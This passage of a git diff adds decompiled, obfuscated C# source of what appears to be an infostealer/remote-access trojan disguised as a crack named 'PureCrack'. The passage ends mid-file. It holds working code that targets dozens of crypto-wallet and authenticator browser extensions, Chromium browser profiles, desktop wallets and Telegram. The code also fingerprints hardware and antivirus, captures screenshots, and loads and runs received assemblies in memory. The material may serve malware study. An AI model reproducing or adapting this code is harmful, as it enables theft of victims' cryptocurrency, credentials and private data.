gclass2_0 as GClass3; + if (gclass != null) + { + byte[] array = GClass1.smethod_0(gclass); + if (array != null) + { + Class7.smethod_1(Class4.smethod_0(), array); + Class9.smethod_9(); + } + } + else + { + GClass11 gclass2 = gclass2_0 as GClass11; + if (gclass2 != null) + { + byte[] array2; + if (gclass2.Byte_0 != null) + { + Class7.smethod_1(gclass2.String_0, gclass2.Byte_0); + array2 = gclass2.Byte_0; + } + else + { + array2 = Class7.smethod_0(gclass2.String_0); + if (array2 == null) + { + Class9.h(gclass2); + return; + } + } + new Class5().method_0(GClass1.smethod_0(new GClass7 + { + GClass4_0 = Class9.smethod_1(), + zPjUxLdehl = gclass2.String_1 + }), GClass14.smethod_1(array2.Reverse().ToArray())); + GC.Collect(); + } + else + { + GClass10 gclass3 = gclass2_0 as GClass10; + if (gclass3 != null) + { + Class1.smethod_0(gclass3); + } + } + } + } + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + } + } + + // Token: 0x0600001A RID: 26 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class2() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600001B RID: 27 RVA: 0x00002353 File Offset: 0x00000553 + internal static bool smethod_0() + { + return Class2.object_0 == null; + } + + // Token: 0x0400000E RID: 14 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.Class3.cs b/decompiled/PureCrack.assets.inner.Class3.cs new file mode 100644 index 0000000..d567dbc --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class3.cs @@ -0,0 +1,628 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Win32; + +// Token: 0x02000008 RID: 8 +internal static class Class3 +{ + // Token: 0x0600001C RID: 28 RVA: 0x00006FD8 File Offset: 0x000051D8 + internal static string smethod_0() + { + if (Class3.string_0 == null) + { + Class3.a a = new Class3.a(); + a.field_a = new List(); + for (;;) + { + try + { + string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + a.b = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + try + { + a.c = new Dictionary + { + { + "ibnejdfjmmkpcnlpebklmnkoeoihofec", + "TronLink" + }, + { + "nkbihfbeogaeaoehlefnkodbefgpgknn", + "MetaMask" + }, + { + "fhbohimaelbohpjbbldcngcnapndodjp", + "Binance Chain Wallet" + }, + { + "ffnbelfdoeiohenkjibnmadjiehjhajb", + "Yoroi" + }, + { + "cjelfplplebdjjenllpjcblmjkfcffne", + "Jaxx Liberty" + }, + { + "fihkakfobkmkjojpchpfgcmhfjnmnfpi", + "BitApp Wallet" + }, + { + "kncchdigobghenbbaddojjnnaogfppfj", + "iWallet" + }, + { + "aiifbnbfobpmeekipheeijimdpnlpgpp", + "Terra Station" + }, + { + "ijmpgkjfkbfhoebgogflfebnmejmfbml", + "BitClip" + }, + { + "blnieiiffboillknjnepogjhkgnoapac", + "EQUAL Wallet" + }, + { + "amkmjjmmflddogmhpjloimipbofnfjih", + "Wombat" + }, + { + "jbdaocneiiinmjbjlgalhcelgbejmnid", + "Nifty Wallet" + }, + { + "afbcbjpbpfadlkmhmclhkeeodmamcflc", + "Math Wallet" + }, + { + "hpglfhgfnhbgpjdenjgmdgoeiappafln", + "Guarda" + }, + { + "aeachknmefphepccionboohckonoeemg", + "Coin98 Wallet" + }, + { + "imloifkgjagghnncjkhggdhalmcnfklk", + "Trezor Password Manager" + }, + { + "oeljdldpnmdbchonielidgobddffflal", + "EOS Authenticator" + }, + { + "gaedmjdfmmahhbjefcbgaolhhanlaolb", + "Authy" + }, + { + "ilgcnhelpchnceeipipijaljkblbcobl", + "GAuth Authenticator" + }, + { + "bhghoamapcdpbohphigoooaddinpkbai", + "Authenticator" + }, + { + "mnfifefkajgofkcjkemidiaecocnkjeh", + "TezBox" + }, + { + "dkdedlpgdmmkkfjabffeganieamfklkm", + "Cyano Wallet" + }, + { + "aholpfdialjgjfhomihkjbmgjidlcdno", + "Exodus Web3" + }, + { + "jiidiaalihmmhddjgbnbgdfflelocpak", + "BitKeep" + }, + { + "hnfanknocfeofbddgcijnmhnfnkdnaad", + "Coinbase Wallet" + }, + { + "egjidjbpglichdcondbcbdnbeeppgdph", + "Trust Wallet" + }, + { + "hmeobnfnfcmdkdcmlblgagmfpfboieaf", + "XDEFI Wallet" + }, + { + "bfnaelmomeimhlpmgjnjophhpkkoljpa", + "Phantom" + }, + { + "fcckkdbjnoikooededlapcalpionmalo", + "MOBOX WALLET" + }, + { + "bocpokimicclpaiekenaeelehdjllofo", + "XDCPay" + }, + { + "flpiciilemghbmfalicajoolhkkenfel", + "ICONex" + }, + { + "hfljlochmlccoobkbcgpmkpjagogcgpk", + "Solana Wallet" + }, + { + "cmndjbecilbocjfkibfbifhngkdmjgog", + "Swash" + }, + { + "cjmkndjhnagcfbpiemnkdpomccnjblmj", + "Finnie" + }, + { + "dmkamcknogkgcdfhhbddcghachkejeap", + "Keplr" + }, + { + "kpfopkelmapcoipemfendmdcghnegimn", + "Liquality Wallet" + }, + { + "hgmoaheomcjnaheggkfafnjilfcefbmo", + "Rabet" + }, + { + "fnjhmkhhmkbjkkabndcnnogagogbneec", + "Ronin Wallet" + }, + { + "klnaejjgbibmhlephnhpmaofohgkpgkd", + "ZilPay" + }, + { + "ejbalbakoplchlghecdalmeeeajnimhm", + "MetaMask" + }, + { + "ghocjofkdpicneaokfekohclmkfmepbp", + "Exodus Web3" + }, + { + "heaomjafhiehddpnmncmhhpjaloainkn", + "Trust Wallet" + }, + { + "hkkpjehhcnhgefhbdcgfkeegglpjchdc", + "Braavos Smart Wallet" + }, + { + "akoiaibnepcedcplijmiamnaigbepmcb", + "Yoroi" + }, + { + "djclckkglechooblngghdinmeemkbgci", + "MetaMask" + }, + { + "acdamagkdfmpkclpoglgnbddngblgibo", + "Guarda Wallet" + }, + { + "okejhknhopdbemmfefjglkdfdhpfmflg", + "BitKeep" + }, + { + "mijjdbgpgbflkaooedaemnlciddmamai", + "Waves Keeper" + } + }; + Dictionary dictionary = new Dictionary(); + dictionary.Add("Chromium\\User Data\\", "Chromium"); + dictionary.Add("Google\\Chrome\\User Data\\", "Chrome"); + dictionary.Add("Google(x86)\\Chrome\\User Data\\", "Chrome"); + dictionary.Add("BraveSoftware\\Brave-Browser\\User Data\\", "Brave"); + dictionary.Add("Microsoft\\Edge\\User Data\\", "Edge"); + dictionary.Add("Tencent\\QQBrowser\\User Data\\", "QQBrowser"); + dictionary.Add("MapleStudio\\ChromePlus\\User Data\\", "ChromePlus"); + dictionary.Add("Iridium\\User Data\\", "Iridium"); + dictionary.Add("7Star\\7Star\\User Data\\", "7Star"); + dictionary.Add("CentBrowser\\User Data\\", "CentBrowser"); + dictionary.Add("Chedot\\User Data\\", "Chedot"); + dictionary.Add("Vivaldi\\User Data\\", "Vivaldi"); + dictionary.Add("Kometa\\User Data\\", "Kometa"); + dictionary.Add("Elements Browser\\User Data\\", "Elements"); + dictionary.Add("Epic Privacy Browser\\User Data\\", "Epic Privacy"); + dictionary.Add("uCozMedia\\Uran\\User Data\\", "Uran"); + dictionary.Add("Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\", "Sleipnir5"); + dictionary.Add("CatalinaGroup\\Citrio\\User Data\\", "Citrio"); + dictionary.Add("Coowon\\Coowon\\User Data\\", "Coowon"); + dictionary.Add("liebao\\User Data\\", "liebao"); + dictionary.Add("QIP Surf\\User Data\\", "QIP Surf"); + dictionary.Add("Orbitum\\User Data\\", "Orbitum"); + dictionary.Add("Comodo\\Dragon\\User Data\\", "Dragon"); + dictionary.Add("Amigo\\User\\User Data\\", "Amigo"); + dictionary.Add("Torch\\User Data\\", "Torch"); + dictionary.Add("Comodo\\User Data\\", "Comodo"); + dictionary.Add("360Browser\\Browser\\User Data\\", "360Browser"); + dictionary.Add("Maxthon3\\User Data\\", "Maxthon3"); + dictionary.Add("K-Melon\\User Data\\", "K-Melon"); + dictionary.Add("Sputnik\\Sputnik\\User Data\\", "Sputnik"); + dictionary.Add("Nichrome\\User Data\\", "Nichrome"); + dictionary.Add("CocCoc\\Browser\\User Data\\", "CocCoc"); + dictionary.Add("Uran\\User Data\\", "Uran"); + dictionary.Add("Chromodo\\User Data\\", "Chromodo"); + dictionary.Add("Mail.Ru\\Atom\\User Data\\", "Atom"); + a.d = new object(); + Parallel.ForEach>(dictionary, new Action>(a.method_a)); + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "atomic", "Local Storage", "leveldb")).Exists) + { + a.field_a.Add("Atomic Wallet"); + } + } + catch + { + } + try + { + using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Bitcoin\\Bitcoin-Qt", RegistryKeyPermissionCheck.ReadSubTree)) + { + if (registryKey != null && new DirectoryInfo(Path.Combine(registryKey.GetValue("strDataDir").ToString(), "wallets")).Exists) + { + a.field_a.Add("Bitcoin-Qt"); + } + } + } + catch + { + } + try + { + using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software\\Dash\\Dash-Qt", RegistryKeyPermissionCheck.ReadSubTree)) + { + if (registryKey2 != null && new DirectoryInfo(Path.Combine(new string[] + { + registryKey2.GetValue("strDataDir").ToString() + })).Exists) + { + a.field_a.Add("Dash-Qt"); + } + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Electrum", "wallets")).Exists) + { + a.field_a.Add("Electrum"); + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Ethereum", "keystore")).Exists) + { + a.field_a.Add("Ethereum"); + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Exodus", "exodus.wallet")).Exists) + { + a.field_a.Add("Exodus"); + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "com.liberty.jaxx", "IndexedDB")).Exists) + { + a.field_a.Add("Jaxx"); + } + } + catch + { + } + try + { + using (RegistryKey registryKey3 = Registry.CurrentUser.OpenSubKey("Software\\Litecoin\\Litecoin-Qt", RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + if (registryKey3 != null && new DirectoryInfo(Path.Combine(new string[] + { + registryKey3.GetValue("strDataDir").ToString() + })).Exists) + { + a.field_a.Add("Litecoin-Qt"); + } + } + } + catch + { + } + try + { + if (new DirectoryInfo(Path.Combine(folderPath, "Zcash")).Exists) + { + a.field_a.Add("Zcash"); + } + } + catch + { + } + try + { + DirectoryInfo[] directories = new DirectoryInfo(Path.GetPathRoot(folderPath)).GetDirectories("*", SearchOption.TopDirectoryOnly); + for (int i = 0; i < directories.Length; i++) + { + if (directories[i].Name.ToLower().Contains("Foxmail")) + { + a.field_a.Add("Foxmail"); + break; + } + } + } + catch + { + } + try + { + if (new FileInfo(Path.Combine(folderPath, "Telegram Desktop", "Telegram.exe")).Exists) + { + a.field_a.Add("Telegram"); + } + } + catch + { + } + } + catch + { + } + try + { + FileInfo fileInfo = new FileInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Replace(" (x86)", null), "Ledger Live", "Ledger Live.exe")); + if (fileInfo.Exists) + { + a.field_a.Add(Path.GetFileNameWithoutExtension(fileInfo.Name)); + } + break; + } + catch + { + break; + } + } + if (a.field_a.Count <= 0) + { + Class3.string_0 = "N/A"; + } + else + { + a.field_a = a.field_a.Distinct().ToList(); + Class3.string_0 = string.Join(", ", a.field_a); + } + } + return Class3.string_0; + } + + // Token: 0x0600001D RID: 29 RVA: 0x00007AB0 File Offset: 0x00005CB0 + internal static int smethod_1() + { + int result; + try + { + Class0.Struct0 @struct = default(Class0.Struct0); + @struct.uint_0 = (uint)Marshal.SizeOf(@struct); + Class0.GetLastInputInfo(ref @struct); + result = (int)TimeSpan.FromMilliseconds((double)((long)Environment.TickCount - (long)((ulong)@struct.uint_1))).TotalSeconds; + } + catch + { + result = -1; + } + return result; + } + + // Token: 0x0600001E RID: 30 RVA: 0x00007B18 File Offset: 0x00005D18 + internal static string smethod_2() + { + string result; + try + { + Class0.Struct0 @struct = default(Class0.Struct0); + @struct.uint_0 = (uint)Marshal.SizeOf(@struct); + Class0.GetLastInputInfo(ref @struct); + TimeSpan timeSpan = TimeSpan.FromMilliseconds(Environment.TickCount - (int)@struct.uint_1); + result = string.Format("{0}d {1}h {2}m {3}s", new object[] + { + timeSpan.Days, + timeSpan.Hours, + timeSpan.Minutes, + timeSpan.Seconds + }); + } + catch + { + result = "-1"; + } + return result; + } + + // Token: 0x0600001F RID: 31 RVA: 0x00007BC8 File Offset: 0x00005DC8 + internal static string d() + { + string result = ""; + try + { + IntPtr foregroundWindow = Class0.GetForegroundWindow(); + StringBuilder stringBuilder = new StringBuilder(256); + if (Class0.GetWindowText(foregroundWindow, stringBuilder, 256) > 0) + { + result = stringBuilder.ToString(); + } + } + catch + { + } + return result; + } + + // Token: 0x06000020 RID: 32 RVA: 0x00007C18 File Offset: 0x00005E18 + internal static void smethod_3() + { + try + { + Class0.SetThreadExecutionState((Class0.Enum0)2147483651U); + } + catch + { + } + } + + // Token: 0x06000021 RID: 33 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class3() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000022 RID: 34 RVA: 0x0000235D File Offset: 0x0000055D + internal static bool smethod_4() + { + return Class3.object_0 == null; + } + + // Token: 0x0400000F RID: 15 + private static string string_0; + + // Token: 0x04000010 RID: 16 + internal static object object_0; + + // Token: 0x02000009 RID: 9 + [CompilerGenerated] + private sealed class a + { + // Token: 0x06000024 RID: 36 RVA: 0x00007C48 File Offset: 0x00005E48 + internal void method_a(KeyValuePair kvp) + { + Class3.b b = new Class3.b(); + b.c = this; + b.field_a = kvp; + try + { + string path = Path.Combine(this.b, b.field_a.Key); + b.field_b = Directory.GetDirectories(path, "*", SearchOption.AllDirectories); + Parallel.ForEach>(this.c, new Action>(b.method_a)); + } + catch + { + } + } + + // Token: 0x06000025 RID: 37 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static a() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000026 RID: 38 RVA: 0x00002367 File Offset: 0x00000567 + internal static bool smethod_0() + { + return Class3.a.a_0 == null; + } + + // Token: 0x04000011 RID: 17 + public List field_a; + + // Token: 0x04000012 RID: 18 + public string b; + + // Token: 0x04000013 RID: 19 + public Dictionary c; + + // Token: 0x04000014 RID: 20 + public object d; + + // Token: 0x04000015 RID: 21 + private static Class3.a a_0; + } + + // Token: 0x0200000A RID: 10 + [CompilerGenerated] + private sealed class b + { + // Token: 0x06000028 RID: 40 RVA: 0x00007CC0 File Offset: 0x00005EC0 + internal void method_a(KeyValuePair kvp) + { + try + { + string[] array = this.field_b; + for (int i = 0; i < array.Length; i++) + { + if (array[i].Contains(kvp.Key)) + { + for (;;) + { + string item = this.field_a.Value + ":" + kvp.Value; + object d = this.c.d; + lock (d) + { + this.c.field_a.Add(item); + break; + } + } + break; + } + } + } + catch + { + } + } + + // Token: 0x06000029 RID: 41 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static b() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600002A RID: 42 RVA: 0x00002371 File Offset: 0x00000571 + internal static bool smethod_0() + { + return Class3.b.b_0 == null; + } + + // Token: 0x04000016 RID: 22 + public KeyValuePair field_a; + + // Token: 0x04000017 RID: 23 + public string[] field_b; + + // Token: 0x04000018 RID: 24 + public Class3.a c; + + // Token: 0x04000019 RID: 25 + internal static Class3.b b_0; + } +} diff --git a/decompiled/PureCrack.assets.inner.Class4.cs b/decompiled/PureCrack.assets.inner.Class4.cs new file mode 100644 index 0000000..3b20182 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class4.cs @@ -0,0 +1,436 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Management; +using System.Runtime.CompilerServices; +using System.Security.Principal; +using System.Windows.Forms; + +// Token: 0x0200000B RID: 11 +internal static class Class4 +{ + // Token: 0x0600002B RID: 43 RVA: 0x00007D6C File Offset: 0x00005F6C + internal static string smethod_0() + { + if (Class4.string_0 == null) + { + string str = ""; + str += Class4.smethod_1("Win32_Processor", "ProcessorId"); + str += Class4.smethod_1("Win32_DiskDrive", "SerialNumber"); + str += Class4.smethod_1("Win32_PhysicalMemory", "SerialNumber"); + try + { + str += Environment.UserDomainName; + goto IL_09; + } + catch + { + goto IL_09; + } + goto IL_86; + IL_09: + try + { + str += Class4.d(); + } + catch + { + } + Class4.string_0 = GClass15.smethod_0(str).ToUpper(); + } + IL_86: + return Class4.string_0; + } + + // Token: 0x0600002C RID: 44 RVA: 0x00007E20 File Offset: 0x00006020 + private static string smethod_1(string string_5, string string_6) + { + string result = ""; + try + { + using (ManagementClass managementClass = new ManagementClass(string_5)) + { + using (ManagementObjectCollection instances = managementClass.GetInstances()) + { + foreach (ManagementBaseObject managementBaseObject in instances) + { + ManagementObject managementObject = (ManagementObject)managementBaseObject; + try + { + if ((result = (managementObject.GetPropertyValue(string_6) as string)) != "") + { + break; + } + } + catch + { + } + } + } + } + } + catch + { + } + return result; + } + + // Token: 0x0600002D RID: 45 RVA: 0x00007EEC File Offset: 0x000060EC + internal static string smethod_2() + { + try + { + if (Class4.string_1 == null) + { + Class4.string_1 = "N/A"; + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntiVirusProduct")) + { + using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get()) + { + List list = new List(); + foreach (ManagementBaseObject managementBaseObject in managementObjectCollection) + { + string text = ((ManagementObject)managementBaseObject)["displayName"].ToString(); + if (!string.IsNullOrEmpty(text) && !string.IsNullOrWhiteSpace(text)) + { + list.Add(text); + } + } + if (list.Count > 0) + { + Class4.string_1 = string.Join(", ", list); + } + } + } + } + } + catch + { + } + return Class4.string_1; + } + + // Token: 0x0600002E RID: 46 RVA: 0x00007FF0 File Offset: 0x000061F0 + internal static string d() + { + if (Class4.string_2 == null) + { + for (;;) + { + try + { + Class4.string_2 = "N/A"; + Class4.string_2 = Environment.UserName; + goto IL_09; + } + catch + { + goto IL_09; + } + break; + IL_09: + try + { + string userDomainName = Environment.UserDomainName; + if (!userDomainName.smethod_0()) + { + Class4.string_2 = Class4.string_2 + "[" + userDomainName + "]"; + } + break; + } + catch + { + break; + } + } + } + return Class4.string_2; + } + + // Token: 0x0600002F RID: 47 RVA: 0x00008070 File Offset: 0x00006270 + internal static string smethod_3() + { + try + { + using (WindowsIdentity current = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current); + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator)) + { + return WindowsBuiltInRole.Administrator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.User)) + { + return WindowsBuiltInRole.User.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Guest)) + { + return WindowsBuiltInRole.Guest.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.SystemOperator)) + { + return WindowsBuiltInRole.SystemOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.AccountOperator)) + { + return WindowsBuiltInRole.AccountOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.BackupOperator)) + { + return WindowsBuiltInRole.BackupOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.PowerUser)) + { + return WindowsBuiltInRole.PowerUser.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.PrintOperator)) + { + return WindowsBuiltInRole.PrintOperator.ToString(); + } + if (windowsPrincipal.IsInRole(WindowsBuiltInRole.Replicator)) + { + return WindowsBuiltInRole.Replicator.ToString(); + } + } + goto IL_190; + } + catch + { + goto IL_190; + } + string result; + return result; + IL_190: + return "Unknown"; + } + + // Token: 0x06000030 RID: 48 RVA: 0x00008248 File Offset: 0x00006448 + internal static bool smethod_4() + { + bool result; + try + { + result = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); + } + catch + { + result = false; + } + return result; + } + + // Token: 0x06000031 RID: 49 RVA: 0x00008284 File Offset: 0x00006484 + internal static string smethod_5() + { + if (Class4.string_3 == null) + { + try + { + Class4.string_3 = "Unknown OS"; + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem")) + { + using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator()) + { + if (enumerator.MoveNext()) + { + Class4.string_3 = ((ManagementObject)enumerator.Current)["Caption"].ToString(); + } + } + } + if (!Class4.string_3.Contains("7")) + { + if (Class4.string_3.Contains("8.1")) + { + Class4.string_3 = "Windows 8.1"; + } + else if (Class4.string_3.Contains("8")) + { + Class4.string_3 = "Windows 8"; + } + else if (!Class4.string_3.Contains("10")) + { + if (Class4.string_3.Contains("11")) + { + Class4.string_3 = "Windows 11"; + } + else if (!Class4.string_3.Contains("2012")) + { + if (Class4.string_3.Contains("2016")) + { + Class4.string_3 = "Windows Server 2016"; + } + else if (!Class4.string_3.Contains("2019")) + { + if (Class4.string_3.Contains("2022")) + { + Class4.string_3 = "Windows Server 2022"; + } + } + else + { + Class4.string_3 = "Windows Server 2019"; + } + } + else + { + Class4.string_3 = "Windows Server 2012"; + } + } + else + { + Class4.string_3 = "Windows 10"; + } + } + else + { + Class4.string_3 = "Windows 7"; + } + Class4.string_3 = string.Format("{0} {1}Bit", Class4.string_3, Environment.Is64BitOperatingSystem ? 64 : 32); + } + catch + { + } + } + return Class4.string_3; + } + + // Token: 0x06000032 RID: 50 RVA: 0x000084A0 File Offset: 0x000066A0 + internal static bool smethod_6() + { + bool result; + try + { + List list = new List(); + using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')")) + { + foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) + { + list.Add(managementBaseObject["Caption"].ToString()); + } + } + result = (list.Count > 0); + } + catch + { + return false; + } + return result; + } + + // Token: 0x06000033 RID: 51 RVA: 0x00008548 File Offset: 0x00006748 + internal static string h() + { + try + { + if (Class4.string_4 == null) + { + Class4.string_4 = Process.GetCurrentProcess().MainModule.FileName; + } + } + catch + { + } + return Class4.string_4; + } + + // Token: 0x06000034 RID: 52 RVA: 0x0000858C File Offset: 0x0000678C + public static byte[] i(int a = 60) + { + byte[] result; + try + { + Rectangle bounds = Screen.PrimaryScreen.Bounds; + using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) + { + using (Graphics graphics = Graphics.FromImage(bitmap)) + { + graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy); + } + int width = 640; + int height = 480; + using (Bitmap bitmap2 = new Bitmap(640, 480)) + { + using (Graphics graphics2 = Graphics.FromImage(bitmap2)) + { + graphics2.InterpolationMode = InterpolationMode.HighQualityBicubic; + graphics2.DrawImage(bitmap, 0, 0, width, height); + } + using (MemoryStream memoryStream = new MemoryStream()) + { + EncoderParameters encoderParameters = new EncoderParameters(1); + encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, (long)a); + ImageCodecInfo[] imageDecoders = ImageCodecInfo.GetImageDecoders(); + Predicate match; + if ((match = Class4.__c.predicate_0) == null) + { + match = (Class4.__c.predicate_0 = new Predicate(Class4.__c.__c_0.method_0)); + } + ImageCodecInfo imageCodecInfo = Array.Find(imageDecoders, match); + if (imageCodecInfo == null) + { + bitmap2.Save(memoryStream, ImageFormat.Jpeg); + } + else + { + bitmap2.Save(memoryStream, imageCodecInfo, encoderParameters); + } + result = memoryStream.ToArray(); + } + } + } + } + catch + { + result = null; + } + return result; + } + + // Token: 0x06000035 RID: 53 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class4() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000036 RID: 54 RVA: 0x0000237B File Offset: 0x0000057B + internal static bool smethod_7() + { + return Class4.object_0 == null; + } + + // Token: 0x0400001A RID: 26 + private static string string_0; + + // Token: 0x0400001B RID: 27 + private static string string_1; + + // Token: 0x0400001C RID: 28 + private static string string_2; + + // Token: 0x0400001D RID: 29 + private static string string_3; + + // Token: 0x0400001E RID: 30 + private static string string_4; + + // Token: 0x0400001F RID: 31 + internal static object object_0; + + // Compiler-generated singleton class (originally <>c) + [CompilerGenerated] + private sealed class __c + { + public static readonly Class4.__c __c_0 = new Class4.__c(); + public static Predicate predicate_0; + + internal bool method_0(ImageCodecInfo imageCodecInfo_0) + { + return imageCodecInfo_0.MimeType == "image/jpeg"; + } + } +} diff --git a/decompiled/PureCrack.assets.inner.Class5.cs b/decompiled/PureCrack.assets.inner.Class5.cs new file mode 100644 index 0000000..0de8b4d --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class5.cs @@ -0,0 +1,137 @@ +using System; +using System.Linq; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Threading; + +// Token: 0x0200000D RID: 13 +internal class Class5 +{ + // Token: 0x0600003B RID: 59 RVA: 0x000023B7 File Offset: 0x000005B7 + internal void method_0(byte[] byte_0, byte[] byte_1) + { + this.method_1(byte_0, byte_1); + } + + // Token: 0x0600003C RID: 60 RVA: 0x00008774 File Offset: 0x00006974 + private void method_1(byte[] byte_0, byte[] byte_1) + { + Assembly assembly = null; + if (this.d()) + { + try + { + assembly = this.method_2(byte_1); + } + catch + { + } + } + if (assembly == null) + { + assembly = Thread.GetDomain().Load(byte_1); + } + assembly.GetExportedTypes()[0].GetMethods()[0].Invoke(null, new object[] + { + byte_0 + }); + } + + // Token: 0x0600003D RID: 61 RVA: 0x000087E0 File Offset: 0x000069E0 + private Assembly method_2(byte[] byte_0) + { + Class5.a a = new Class5.a(); + Assembly assembly = Assembly.Load(byte_0); + a.field_a = assembly.FullName; + Assembly assembly2 = AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(new Func(a.method_a)); + if (assembly2 != null) + { + return assembly2; + } + return assembly; + } + + // Token: 0x0600003E RID: 62 RVA: 0x00008830 File Offset: 0x00006A30 + private bool d() + { + bool result; + try + { + if (!Class4.h().ToLower().Contains("powershell.exe")) + { + if (!(AppDomain.CurrentDomain.GetAssemblies().FirstOrDefault(new Func(Class5.__c.__c_0.method_0)) != null)) + { + return false; + } + result = true; + } + else + { + result = true; + } + } + catch + { + return false; + } + return result; + } + + // Token: 0x06000040 RID: 64 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class5() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000041 RID: 65 RVA: 0x000023C1 File Offset: 0x000005C1 + internal static bool smethod_0() + { + return Class5.object_0 == null; + } + + // Token: 0x04000023 RID: 35 + internal static object object_0; + + // Compiler-generated singleton class (originally <>c) + [CompilerGenerated] + private sealed class __c + { + public static readonly Class5.__c __c_0 = new Class5.__c(); + + internal bool method_0(Assembly assembly_0) + { + return assembly_0.FullName.Contains("System.Management.Automation"); + } + } + + // Token: 0x0200000F RID: 15 + [CompilerGenerated] + private sealed class a + { + // Token: 0x06000047 RID: 71 RVA: 0x000023FD File Offset: 0x000005FD + internal bool method_a(Assembly asm) + { + return asm.FullName == this.field_a; + } + + // Token: 0x06000048 RID: 72 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static a() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000049 RID: 73 RVA: 0x00002410 File Offset: 0x00000610 + internal static bool smethod_0() + { + return Class5.a.a_0 == null; + } + + // Token: 0x04000027 RID: 39 + public string field_a; + + // Token: 0x04000028 RID: 40 + private static Class5.a a_0; + } +} diff --git a/decompiled/PureCrack.assets.inner.Class6.cs b/decompiled/PureCrack.assets.inner.Class6.cs new file mode 100644 index 0000000..e30c89b --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class6.cs @@ -0,0 +1,65 @@ +using System; +using System.Threading; + +// Token: 0x02000010 RID: 16 +internal static class Class6 +{ + // Token: 0x0600004A RID: 74 RVA: 0x000088AC File Offset: 0x00006AAC + internal static bool smethod_0(string string_0) + { + bool result; + try + { + Class6.mutex_0 = new Mutex(false, string_0); + result = Class6.mutex_0.WaitOne(TimeSpan.FromSeconds(15.0), false); + } + catch (AbandonedMutexException) + { + result = true; + } + catch (Exception) + { + result = false; + } + return result; + } + + // Token: 0x0600004B RID: 75 RVA: 0x0000890C File Offset: 0x00006B0C + internal static void smethod_1() + { + try + { + if (Class6.mutex_0 != null) + { + using (Mutex mutex = Class6.mutex_0) + { + mutex.ReleaseMutex(); + mutex.Close(); + mutex.Dispose(); + } + } + } + catch + { + } + } + + // Token: 0x0600004C RID: 76 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class6() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600004D RID: 77 RVA: 0x0000241A File Offset: 0x0000061A + internal static bool smethod_2() + { + return Class6.object_0 == null; + } + + // Token: 0x04000029 RID: 41 + private static Mutex mutex_0; + + // 